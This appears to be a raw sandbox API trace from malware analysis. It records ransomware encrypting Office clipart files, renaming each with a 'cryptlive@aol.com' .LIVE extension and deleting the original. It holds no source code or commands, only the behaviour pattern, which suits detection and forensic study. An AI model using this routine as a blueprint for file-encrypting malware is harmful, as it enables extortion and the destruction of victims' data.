lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.597] lstrlenW (lpString=".rar") returned 4 [0159.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".bz2") returned 4 [0159.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".7z") returned 3 [0159.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.598] lstrlenW (lpString=".dbf") returned 4 [0159.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.598] lstrlenW (lpString=".1cd") returned 4 [0159.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.598] lstrlenW (lpString=".jpg") returned 4 [0159.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.598] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.598] lstrlenW (lpString="J0152694.WMF") returned 12 [0159.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.599] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1348) returned 1 [0159.599] CloseHandle (hObject=0x384) returned 1 [0159.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0159.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.599] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.599] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.600] GetLastError () returned 0x0 [0159.600] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x544, lpOverlapped=0x0) returned 1 [0159.623] WriteFile (in: hFile=0x3c4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x550, lpOverlapped=0x0) returned 1 [0159.626] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.626] WriteFile (in: hFile=0x3c4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.626] SetEndOfFile (hFile=0x3c4) returned 1 [0159.626] CloseHandle (hObject=0x3c4) returned 1 [0159.626] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.626] SetEndOfFile (hFile=0x384) returned 1 [0159.628] CloseHandle (hObject=0x384) returned 1 [0159.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString=".doc") returned 4 [0159.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString=".docx") returned 5 [0159.657] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.657] lstrlenW (lpString=".pdf") returned 4 [0159.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString=".xls") returned 4 [0159.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.657] lstrlenW (lpString=".xlsx") returned 5 [0159.657] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.657] lstrlenW (lpString=".ppt") returned 4 [0159.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString=".zip") returned 4 [0159.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.657] lstrlenW (lpString=".rar") returned 4 [0159.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString=".bz2") returned 4 [0159.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString=".7z") returned 3 [0159.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString=".dbf") returned 4 [0159.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString=".1cd") returned 4 [0159.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.657] lstrlenW (lpString=".jpg") returned 4 [0159.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString=".doc") returned 4 [0159.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString=".docx") returned 5 [0159.658] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.658] lstrlenW (lpString=".pdf") returned 4 [0159.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString=".xls") returned 4 [0159.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.658] lstrlenW (lpString=".xlsx") returned 5 [0159.658] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.658] lstrlenW (lpString=".ppt") returned 4 [0159.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString=".zip") returned 4 [0159.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.658] lstrlenW (lpString=".rar") returned 4 [0159.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString=".bz2") returned 4 [0159.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString=".7z") returned 3 [0159.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString=".dbf") returned 4 [0159.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString=".1cd") returned 4 [0159.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0159.658] lstrlenW (lpString=".jpg") returned 4 [0159.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.659] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.659] lstrlenW (lpString="J0152708.WMF") returned 12 [0159.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0159.659] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4908) returned 1 [0159.659] CloseHandle (hObject=0x3b8) returned 1 [0159.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0159.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0159.660] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.660] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0159.661] GetLastError () returned 0x0 [0159.661] ReadFile (in: hFile=0x3b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x132c, lpOverlapped=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x1e0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1330, lpOverlapped=0x0) returned 1 [0159.676] ReadFile (in: hFile=0x3b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.676] WriteFile (in: hFile=0x1e0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.676] SetEndOfFile (hFile=0x1e0) returned 1 [0159.676] CloseHandle (hObject=0x1e0) returned 1 [0159.676] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.676] SetEndOfFile (hFile=0x3b8) returned 1 [0159.965] CloseHandle (hObject=0x3b8) returned 1 [0159.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0160.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.810] lstrlenW (lpString=".doc") returned 4 [0160.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.810] lstrlenW (lpString=".docx") returned 5 [0160.810] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0160.810] lstrlenW (lpString=".pdf") returned 4 [0160.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.810] lstrlenW (lpString=".xls") returned 4 [0160.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.810] lstrlenW (lpString=".xlsx") returned 5 [0160.810] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0160.810] lstrlenW (lpString=".ppt") returned 4 [0160.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString=".zip") returned 4 [0160.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.811] lstrlenW (lpString=".rar") returned 4 [0160.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString=".bz2") returned 4 [0160.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString=".7z") returned 3 [0160.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString=".dbf") returned 4 [0160.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString=".1cd") returned 4 [0160.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString=".jpg") returned 4 [0160.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.811] lstrlenW (lpString=".doc") returned 4 [0160.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.811] lstrlenW (lpString=".docx") returned 5 [0160.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0160.811] lstrlenW (lpString=".pdf") returned 4 [0160.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString=".xls") returned 4 [0160.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.812] lstrlenW (lpString=".xlsx") returned 5 [0160.812] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0160.812] lstrlenW (lpString=".ppt") returned 4 [0160.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.812] lstrlenW (lpString=".zip") returned 4 [0160.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.812] lstrlenW (lpString=".rar") returned 4 [0160.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString=".bz2") returned 4 [0160.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString=".7z") returned 3 [0160.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.812] lstrlenW (lpString=".dbf") returned 4 [0160.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.812] lstrlenW (lpString=".1cd") returned 4 [0160.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0160.812] lstrlenW (lpString=".jpg") returned 4 [0160.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.813] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.813] lstrlenW (lpString="J0153091.WMF") returned 12 [0160.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.963] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8136) returned 1 [0160.963] CloseHandle (hObject=0x3c4) returned 1 [0160.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0161.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.139] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.139] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.140] GetLastError () returned 0x0 [0161.140] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0161.142] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1fd0, lpOverlapped=0x0) returned 1 [0161.144] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.144] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.144] SetEndOfFile (hFile=0x1dc) returned 1 [0161.144] CloseHandle (hObject=0x1dc) returned 1 [0161.144] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.145] SetEndOfFile (hFile=0x1b4) returned 1 [0161.148] CloseHandle (hObject=0x1b4) returned 1 [0161.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0161.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.150] lstrlenW (lpString=".doc") returned 4 [0161.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.150] lstrlenW (lpString=".docx") returned 5 [0161.150] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.150] lstrlenW (lpString=".pdf") returned 4 [0161.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.150] lstrlenW (lpString=".xls") returned 4 [0161.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.150] lstrlenW (lpString=".xlsx") returned 5 [0161.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.150] lstrlenW (lpString=".ppt") returned 4 [0161.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.150] lstrlenW (lpString=".zip") returned 4 [0161.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.150] lstrlenW (lpString=".rar") returned 4 [0161.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.150] lstrlenW (lpString=".bz2") returned 4 [0161.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".7z") returned 3 [0161.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.151] lstrlenW (lpString=".dbf") returned 4 [0161.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.151] lstrlenW (lpString=".1cd") returned 4 [0161.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.151] lstrlenW (lpString=".jpg") returned 4 [0161.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.151] lstrlenW (lpString=".doc") returned 4 [0161.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".docx") returned 5 [0161.151] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.151] lstrlenW (lpString=".pdf") returned 4 [0161.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".xls") returned 4 [0161.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.151] lstrlenW (lpString=".xlsx") returned 5 [0161.151] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.152] lstrlenW (lpString=".ppt") returned 4 [0161.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.152] lstrlenW (lpString=".zip") returned 4 [0161.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.152] lstrlenW (lpString=".rar") returned 4 [0161.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".bz2") returned 4 [0161.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".7z") returned 3 [0161.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.152] lstrlenW (lpString=".dbf") returned 4 [0161.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 